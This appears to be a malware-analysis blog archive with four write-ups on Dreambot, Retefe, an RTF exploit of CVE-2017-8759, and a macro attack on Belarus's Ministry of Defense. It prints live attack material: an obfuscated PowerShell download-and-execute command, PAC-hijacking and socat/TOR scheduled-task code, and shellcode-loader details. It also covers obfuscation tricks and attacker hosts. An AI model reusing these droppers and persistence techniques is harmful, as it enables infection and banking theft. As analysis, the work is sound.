Friday, 29 September 2017

Dreambot Targeting Bulgarian Users

Recently, in a spam campaign targeted towards Bulgarian users, malicious JavaScript based Dreambot downloader was sent inside an archive file. The theme of the emails was related to "Notification of changes to Regulation for NRA" as shown in Figure 1.

Figure 1

NRA is the National Revenue Agency in Bulgaria (in Bulgarian it is: Национална агенция за приходите).

The JavaScript file had multiple layers of obfuscation and it was particularly interesting to deobfuscate this JavaScript because conventional methods of deobfuscation would not work here.

The conventional methods of deobfuscation include replacing eval() with WScript.Echo(), simple hex or base64 string decoding.

Usually, conventional methods of deobfuscation used by Analysts include modifying the JavaScript so that it prints the deobfuscated output which can be further analyzed.

However, an interesting technique used in the JavaScript in this case was Function Length based Obfuscation.

What is Function Length based Obfuscation?

The main function which is used to perform the malicious activities is obfuscated. It uses the Length of the Function Body as a parameter for decryption. As a result of this, any modifications made to the JavaScript will prevent the data to be decrypted properly.

Layer 1 of the JavaScript is shown in Figure 2. It can be deobfuscated easily by replacing eval() with WScript.Echo().


Figure 2

Layer 2 JavaScript is shown in Figure 3. This layer uses the Function Length based Obfuscation technique which doesn't allow the conventional methods of analysis to work.

Figure 3

After careful inspection of the code, we can see that the long encoded string is passed for decoding to function, KNOY8I(). However, if we try to echo the return value of this function to get the decoded string, it won't work because inside the function, KNOY8I() it uses the length of the function, C47RAD() as a decoding parameter.

The following line of code will replace all instances of the characters, "\(| |    |\n|\r|;|}|{|\)" from the function body of C47RAD(). Then it calculates the length of the function body and splits it into an array as shown below:

var FW29WS=C47RAD[YM8N2P[1]]()[YM8N2P[0]](/\(| |    |\n|\r|;|}|{|\)/)[YM8N2P[2]]("")[YM8N2P[3]][YM8N2P[1]]()[YM8N2P[0]]("")

In our case, the length of the function body is 5686 bytes. So, the array, FW29WS[] is set to [5,6,8,6].

Later on in the code, the length of the function body is used as shown below to decode the string passed to this function:

CYE6ZZ=parseInt(PB87WC[RIAG79]+PB87WC[RIAG79+1],30)-FW29WS[DDR8ZM][YM8N2P[4]](0)-V4TSGB

How do we decode this JavaScript?

The best way to perform deobfuscation in this case is by debugging the script and stepping through the code. cscript and wscript on Windows provide a method to perform JIT debugging. You need to invoke your script as shown below:

cscript.exe <script_name.js> //X

This will prompt us to choose the Debugger. We will use MS Visual Studio debugger and step through the code. We are specifically interested to know the return value of the function: KNOY8I(). So, we can set a Watch on the variable: YM8N2P() which will store the return value.

YM8N2P is an array as shown below:

[0]           "i0,R1(ESrL)|yO6DpTebGlfB.xj84otHIa/Am9gchu-n2Q5q:s?W d"
[1]           ""            String
[2]           "split"    String
[3]           "length"                String
[4]           "charAt"               String
[5]           "Type"   String
[6]           "Charset"              String
[7]           "Open"  String
[8]           "WriteText"         String
[9]           "SaveToFile"        String
[10]         "Close"  String
[11]         "GetSpecialFolder"            String
[12]         "push"   String
[13]         "setTimeouts"     String
[14]         "open"   String
[15]         "send"   String
[16]         "Sleep"  String
[17]         "responseText"   String
[18]         "indexOf"              String
[19]         "Status" String
[20]         "substr" String
[21]         "fromCharCode" String
[22]         "apply"  String
[23]         "Run"     String
[24]         "echo"   String
[25]         "Quit"    String

The first member of this array is a long encoded string which is used to construct important keywords and parameters in the JavaScript. As an example:

var G612GW=new ActiveXObject(WV7D7I[35]+WV7D7I[15]+WV7D7I[13]+WV7D7I[15]+WV7D7I[23]+WV7D7I[24]+WV7D7I[7]+WV7D7I[30]+WV7D7I[8]+WV7D7I[18]+WV7D7I[33]+WV7D7I[36]);

Here, WV7D7I corresponds to an array of characters of the encoded string in YM8N2P[0]

So, we can decode the above string as shown below:

var t = "i0,R1(ESrL)|yO6DpTebGlfB.xj84otHIa/Am9gchu-n2Q5q:s?W d"
var WV7D7I = t["split"]("")

WScript.Echo(WV7D7I[35]+WV7D7I[15]+WV7D7I[13]+WV7D7I[15]+WV7D7I[23]+WV7D7I[24]+WV7D7I[7]+WV7D7I[30]+WV7D7I[8]+WV7D7I[18]+WV7D7I[33]+WV7D7I[36]);

The decoded string is as shown in Figure 4.


Figure 4

In this way, we can decode all the strings and the deobfuscated script is as shown in Figure 5.



Figure 5

Steps performed by the JavaScript:

1. It downloads the encrypted binary (refer Figure 6) from the URL:  http://mashallah.at/2509.bin?ff<counter>. Here, counter is a variable which is incremented in a loop till the time, JavaScript receives the response from the Server. Between each attempt, the JavaScript sleeps for 1 second.
2. Once it receives the response, it checks the response for the marker: "|||"
3. If the marker is found, then it splits the response into 2 parts using the marker. The resulting content is sent to the decryption routine.
4. The decrypted content is a binary which is dropped in the path: %temp%\62ea.exe
5. It is then executed using WScript.Shell["Run"]
6. After execution, a message box is displayed with the message: "Runtime Error 0x48940 (.QBT) Library not located on the system, please use x64 system." This message is only for social engineering purpose.

Figure 6

MD5 hash of the Dropped Binary: 37fb9dd68c86deeb44b672a84a8e25bf

The dropped binary is Dreambot with functionality to communicate through TOR and this is evident from the following Registry Keys it creates post execution:

\REGISTRY\USER\<SID>\Software\AppDataLow\Software\Microsoft\<CLSID>\"Client"

\REGISTRY\USER\<SID>\Software\AppDataLow\Software\Microsoft\<CLSID>\"TorClient"

 The TOR client is fetched encrypted from the URL: mashallah.at/x64.bin

Saturday, 23 September 2017

Deep Dive into Retefe Banking Trojan - TOR and Socat Backdoor

Recently I observed an email campaign spreading Retefe through malicious Word Documents to users in Switzerland.

An instance of the email is shown in Figure 1.


Figure 1.

These Word Documents had an embedded LNK object present inside
them as shown in Figure 2.


Figure 2

Proofpoint recently mentioned in their blog about the usage of Eternal Blue Exploit in Retefe Banking Trojan however in the most recent samples, this section has been removed from the config.
Some of the details I mention here are not present in Proofpoint blog.

In this blog, I present details of different stages involved in this malware delivery mechanism.

If we extract the LNK object from the MS Office Word Document and check the value of the Target Field, it is set to:

cmd.exe /V /K set p=p&&!p!owershell -w hidden -c "IEX (('JD'+'0F'+'=JD0en'+'v:Temp+yh'+'CnMgcj'+'hhemyx.exeyh'+'C;(Ne'+'w-Object
'+'Syste'+'m.'+'N'+'et.We'+'bClie'+'n'+'t).Dow'+'n'+'lo'+'adF'+'i'+'l'+'e(yhChttp://'+'roya'+'lcrown'+'hotels'+'hj.com/vcrjf'+'he.e'+'xeyhC,JD0F);'+'&'+'
'+'JD0F').rePlaCe(([chAR]121+[chAR]104+[chAR]67),[stRINg][chAR]39).rePlaCe(([chAR]110+[chAR]77+[chAR]103),'\').rePlaCe('JD0',[stRINg][chAR]36)|.((GEt-VariAbLE
'*mDR*').namE[3,11,2]-JOIn''))"

This value is obfuscated using Powershell. Upon deobfusctation we can see that it will download a Binary from the URL: hxxp://royalcrownhotelshj.com/vcrjfhe.exe to the path:
%temp%\cjhhemyx.exe and execute it using IEX.

It is interesting to note that the Invoke Expression string, "IEX" is obfuscated here using: (GEt-VariAbLE '*mDR*').namE[3,11,2]-JOIn'') as shown in Figure 3.



Figure 3
 
This technique was used in Invoke-Obfuscation Powershell module here: https://github.com/danielbohannon/Invoke-Obfuscation

Now, let's download the malicious binary from the URL: hxxp://royalcrownhotelshj.com/vcrjfhe.exe and analyze it.

MD5 hash of the binary: 20ad3fa4986be9c01ffb6877cb96d5ed

It's an NSIS binary which executes a JavaScript upon execution. We can extract the contents of the NSIS file using 7z for the purpose of static analysis.

The JavaScript is obfuscated as shown in Figure 4.


Figure 4
 
After deobfuscating, we get the JavaScript as shown in Figure 5.


Figure 5
 
This JavaScript gives us an insight into all the malicious activities performed by the binary.

The most important section in this JavaScript is the config section. It's a collection of key value pairs and below is a brief description of them:

dl:[<list of TOR Servers>] - This contains a list of TOR servers which are used as a SOCKS proxy.
cert: It's a base64 encoded Certificate which will be installed on the machine.
psf: Base64 encoded Powershell Script which will install the Certificate.
pstp: Base64 encoded Powershell srcipt which will install TOR and Socat installer.
pslog: Base64 encoded Powershell script which will collect information about the machine and upload through FTP to attacker's server.

Note: Proofpoint recently mentioned in their blog that in some of the samples an additional section, pseb was observed in the config. This section had the Eternal Blue exploit
present inside. However, in the most recent samples this section in config is not present.

Below is the list of TOR domains used by the sample in this case as a Proxy:

kglzmp3sciyy5jd2.onion
sns5pd4byx66pus7.onion
2x7ckit4niyqgf7g.onion
pkyi7umdsawhd2jf.onion

Another important step performed by the JavaScript is to modify the Proxy Auto Config Settings as shown below:

    this.InstallPac=function()
        {
        wss.RegWrite(Base64.decode("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"),0,"REG_DWORD");
        for(var i=0;
        i<5;
        i++)
            {
            var sIp=this.GetIp();
            if(sIp.length>0)
                {
                this.WriteReg(String.format("http://127.0.0.1:5555/
                    {
                    0
                }
                .js?ip=
                    {
                    1
                }
                ",Help.GenStr(8),sIp))
            }
        }
    };
    this.WriteReg=function(s)
        {
        wss.RegWrite(Base64.decode("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"),s,"REG_SZ")
    };

So, it sets the HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL key to the value: http://127.0.0.1:5555/{0}.js?ip={1} where {0} corresponds to
random string of length 8 and {1} corresponds to the IP address of the machine.

Now, let's look at the tasks performed by each of the Powershell Scripts which are present inside the config.

pstp Powershell Script is as shown in Figure 6.

Figure 6
 
It performs the following main tasks:

1. It downloads TOR Browser from one of the TOR mirror sites into the directory: %appdata%\Ad0be.

2. It adds a scheduled task to start tor.exe process as shown below:

$tor=$DestTP+'\Tor\tor.exe';
$tor=$tor.Replace('\','/');
$tor_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"";
AddTask (RandomString) 'mshta.exe' $tor_cmd;

It is interesting to note that all the scheduled tasks are executed in the context of mshta.exe process. The actual command which needs to be executed is wrapped inside JavaScript which is executed by mshta.exe

3. It downloads Socat into the directory: %appdata%\Ad0be and creates the following scheduled tasks:

$s_fold=$DestTP+'\'+$s_new+'\';
$s1cmd='socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050';
$s2cmd='socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050';
$s1_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s1cmd',0,false))`"";
$s2_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s2cmd',0,false))`"";
AddTask (RandomString) 'mshta.exe' $s1_cmd 0 0 $s_fold;
AddTask (RandomString) 'mshta.exe' $s2_cmd 0 0 $s_fold;

The purpose of the above scheduled tasks is to setup a TOR socks proxy on the machine. The value, %DOMAIN% above is substituted with one of the TOR domains mentioned above.

pslog Powershell script is as shown in Figure 7 and it is used to report the details of the infected machine to the Controller. The details are uploaded through FTP to a server
which requires Authentication.


Figure 7
 
Following details are gathered from the machine before uploading the logs:

1. OS Info - This includes Caption, ServicePackMajorVersion, OSArchitecture, Version, MUILanguages. Information is retrieved using WMI:

  $wininfo = (Get-WmiObject Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, Version, MUILanguages);

2. Powershell version.

3. The value of Proxy Auto Config settings. This information is retrieved from Windows Registry.

    $pac=Get-ItemProperty 'hkcu:\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\'|Select -expand AutoConfigURL -ErrorAction Stop;

4. Certificates installed on the machine with the Subject field of Certificate matching: "*COMODO RSA Extended Validation Secure Server CA 2*"

  $Certs = @(Get-ChildItem cert:\CurrentUser\ROOT|Where-Object {$_.Subject -like "*COMODO RSA Extended Validation Secure Server CA 2*"}|ForEach-Object {"{0} ({1})" -f
($_.Thumbprint,$_.NotBefore)});

5. Details of the TOR and Socat processes running on the system:

    $proc = Get-Process | Where-Object {$_.ProcessName -like "tor*" -or $_.ProcessName -like "socat*"}|Select -Property @{ Name="Out";
Expression={"ID:{0}`nName:{1}`nPath:{2}`n-------------" -f $_.Id,$_.ProcessName,$_.Path}}|Select -expand Out;

6. Directory listing for the Directory: APPDATA+'\Ad0be

7. Details of the AV softwares installed:

  $avlist=(Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct"  @psboundparameters|Select -expand DisplayName);

The log file is uploaded through FTP and the name of the log file is set to the Computer Name.

As we can see in this blog, Banking Trojan Retefe is still active and continues to evolve.


Wednesday, 20 September 2017

RTF based Variant of CVE-2017-8759 - Multiple Layers of Obfuscation

Recently, I observed an RTF file exploiting CVE-2017-8759 vulnerability. The vulnerability is in the way SOAP WSDL files are handled by MS Office Winword. This file was particularly interesting to analyze for several reasons. The main reasons being:

1. This is an RTF variant of a Document (shown in Figure 1) exploiting CVE-2017-8759. So far the variants observed in the wild were related to Doc/XLS/PPT file formats only.
2. It downloads the SOAP WSDL file over FTP instead of HTTP. Of course, it could be any protocol as long as the SOAP WSDL file is downloaded and processed by MS Office Winword.
3. The number of layers of obfuscations in the attack chain made it very interesting to analyze and so I decided to do a writeup.


Figure 1

Extracting the OLE object from RTF and identifying the WSDL component

The RTF document in this case performs a network request as soon as it is opened with Winword. However, there is no embedded object or shellcode inside the document. So, we need to inspect it further to understand the source of this network request.

We can use rtfobj from oletools to extract the OLE object. Once we have extracted the OLE object from RTF file using rtfobj, we can open it with OffVis to inspect it in more details. In the hex view, we can observe the following wsdl URL:

wsdl = ftp://185.106.120.206/pub/readme.txt

In Figure 2, we can see the FTP URL in hex view as well as the content downloaded from this URL.



Figure 2

In the next step, the HTA file will be downloaded and processed by mshta in the context of Word Application from the URL: http://185.106.120.206/favicon.ico

In Figure 3, we can see the HTA file being downloaded.


Figure 3

The HTA file will drop 2 JavaScript files in the %temp% directory as shown below:

liuyaihatif520 = OWSDSAmDSAceGFDSeio43DSAV1.ExpandEnvironmentStrings("%temp%") & "/6jSaWOr^rWug5n0PHUFjDFyb8k.js"
liuyaihatif522 = OWSDSAmDSAceGFDSeio43DSAV1.ExpandEnvironmentStrings("%temp%") & "/P7kowB7klgonCDmtRLZUQmcJ.js"

It will execute both the files and then kill the running instance of mshta.exe process as shown below:

OWSDSAmDSAceGFDSeio43DSAV1.Run liuyaihatif520, True
OWSDSAmDSAceGFDSeio43DSAV1.Run liuyaihatif522, True
OWSDSAmDSAceGFDSeio43DSAV1.Run "taskkill /im mshta.exe /f", True

Let's look at the contents of each JavaScript now:

The contents of 6jSaWOr^rWug5n0PHUFjDFyb8k.js are as shown in Figure 4.


Figure 4

It stores the next stage JavaScript base64 encoded inside an XML as shown below:

<root><file><stream xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="bin.base64">dmFyIEJy ....

And these contents are decoded using the following code:

var ws = new ActiveXObject("WScript.Shell");
var objXmlFile = new ActiveXObject("Microsoft.XMLDOM");
objXmlFile.async = false;
objXmlFile.loadXML(myxml);
do {
    WScript.sleep(100);
} while (!objXmlFile.readyState == 4) if (objXmlFile.readyState == 4) {
    var objStream = new ActiveXObject("ADODB.Stream");
    var objNodeList = objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue;
    with(objStream) {
        objStream.Type = 1;
        objStream.Open();
        objStream.Write(objNodeList);

This technique was used multiple times in the attack chain. Now, the base64 decoded JavaScript is written to the file in path: %ALLUSERSPROFILE%\rWug5n0PHUFjDFyb8k.js and then executed.

Let's analyze the next stage JavaScript shown in Figure 5.

Figure 5

It has hex encoded the strings and after decoding, we can see that it executes a sequence of commands using Run method of WScript.Shell as shown in Figure 6.

Figure 6

The first command sets a Scheduled Task with the name, JAVAClient which will execute the JavaScript in the path: C:\ProgramData\DSAFDSau123FDS.js using wscript every day at timestamp 10:00:00

The second command will execute a Powershell Script which is obfuscated as well.

Let's look at the Powershell Script now. The Powershell script is easy to deobfuscate once we analyze the following code:

" "$( sEt-iTEM  'VariABlE:oFs'  '')"+ [stRing]('24,73u3dG4e<65,77-2dG4fG62&6a,....{3b'-spLIT ','-SPlIT '&'-spLIt 'R' -spLIT'G' -SpliT '{'-SPLiT 'u'-SpLIt '-'-sPliT'<'|FoREaCH {( [CHar]( [cOnveRT]::tOINT16( ( $_.TOSTRInG()),16) )) } )+"$(sEt-VARiABlE 'oFS'  ' ') "|& ( $SHElLiD[1]+$sHeLLid[13]+'X')"

The entire PowerShell code is hex encoded with random characters inserted in between which will be removed later.

So, we can extract the long hex encoded string and then remove the characters: ',', '&', 'R', 'G', '{', 'u', '-', '<'

Store the resulting hex encoded string in a file and decode it using a simple Python script:

#! /usr/bin/python

import sys

with open(sys.argv[1], 'rb') as f:
    decoded = f.read().decode('hex')
    f.close()

print decoded

The next layer of the Powershell Script is as shown in Figure 7.


Figure 7

We can decode it by base64 decoding and Gzip decompressing the resulting output.

This gives us another layer of Powershell script as shown in Figure 8.


Figure 8

This Powershell script stores the shellcode base64 encoded. It's a Powershell based Shellcode Loader. It base64 decodes it, allocates memory using VirtualAlloc(), writes the shellcode to this memory region and executes it in a new Thread.

We can manually base64 decode the string and load the resulting shellcode in IDA Pro. Shellcode is as shown in Figure 9.



Figure 9

Once we debug the Shellcode, we can see that it downloads the data from the URL: www.thyssenkrupp-marinesystems.org:443/BGij using HttpSendRequest() as shown in Figure 10.

Figure 10

Now let's analyze the 2nd JavaScript file, P7kowB7klgonCDmtRLZUQmcJ.js which was dropped and executed by the HTA file as mentioned before.

This JavaScript file will base64 decode and drop another JavaScript in the path: %temp%\link.js

The link.js file is as shown in Figure 11.


Figure 11

As can be seen in the code above, it will drop an LNK file (with the name, Java(TM) Platform SE Auto Updater.lnk) in the Startup folder and set the Target field of the LNK to the JS Path: %ALLUSERSPROFILE%\rWug5n0PHUFjDFyb8k.js. As a result of this, each time the system is restarted, the JavaScript will spawn Powershell which loads the shellcode and performs further malicious activities.

These multiple layers of obfuscation are a good example of how attackers try to hide the actual malicious code and prevent analysis.

Sunday, 17 September 2017

Possible Targeted Attack on Belarus Ministry of Defense

Attackers often use latest news relevant to an organization in order to craft the decoy content used in Targeted Attacks. One such instance was observed recently during my research. I observed an email message delivered to milcoop@mod.mil.by with a malicious Macro based Document attached to the email. This email address corresponds to Ministry of Defense (International Military of Defense Cooperation Directorate) of Belarus.

The content of the email is as displayed in Figure 1.


Figure 1: Email Contents

This Macro based Document would display a decoy to the user with the details of the Russian Military operations which are scheduled to be carried out in Belarus in September 2017. The decoy document content is as shown in Figure 2.


Figure 2: Document Contents
 
Technical Analysis of the Macro based Document

After extraction of macro, we can see that it will drop the following files on the file system post execution:

1. %Appdata%\Microsoft\Office\aa.doc -> The original document is copied to this location.
2. %Appdata%\Microsoft\Office\Wincred.acl -> The malicious DLL which will be dropped to this path. This DLL is encrypted and embedded inside the Original Document.
3. %Appdata%\Microsoft\Office\T.vbs - This is the VBScript which will be decoded and dropped to the file system. The VBScript is executed using cscript by the Macro.

Few seconds after the execution of the VB Script, the macro deletes both the copy of the Document (aa.doc) and the VB script from the file system.

We can see in Figure 3, the encoded VBScript embedded inside the macro as well as the different paths to which the malicious files will be dropped post execution of Macro.


Figure 3: Macro Contents

The VBScript is shown in Figure 4.


Figure 4: VBScript Contents
 
This VBScript performs the following main operations:

1. It will open and read the contents of the document copied to the location, %Appdata%\Microsoft\Office\aa.doc
2. It will decrypt 53248 bytes of the Document using a custom XOR Decryption routine.
3. The decrypted contents are written to the file: %Appdata%\Microsoft\Office\Wincred.acl. This corresponds to the malicious DLL.
4. It then sets the Windows Registry Key for persistence as shown in Figure 5. This allows the DLL to be loaded when the system restarts. It will use rundll32 to load the DLL and invoke the exported function, WinCred from it.


Figure 5: Windows Registry Contents
 
Once the DLL is loaded, we can see in the WinCred function as shown in Figure 6, that by calling PeekMessage() function, the malware inspects the Window Message value before starting the malicious activities.


Figure 6: Window Message Check
 
The malicious activities are performed only when the Window Messages, WM_QUERYENDSESSION or WM_ENDSESSION are received. If neither of these Window Messages are received, then the malware sleeps for 1000 milliseconds and continues inspecting the Window Messages.

Based on quick analysis of the payload, Network Traffic is as shown in Figures 7 and 8.


Figure 7: HTTP GET Request
 

 Figure 8: HTTP POST Request

The callback domain, waisttoomuchmind.com was registered on 12th July 2017 as per whois info.

I will add some more details on the analysis of the DLL in a follow up blog.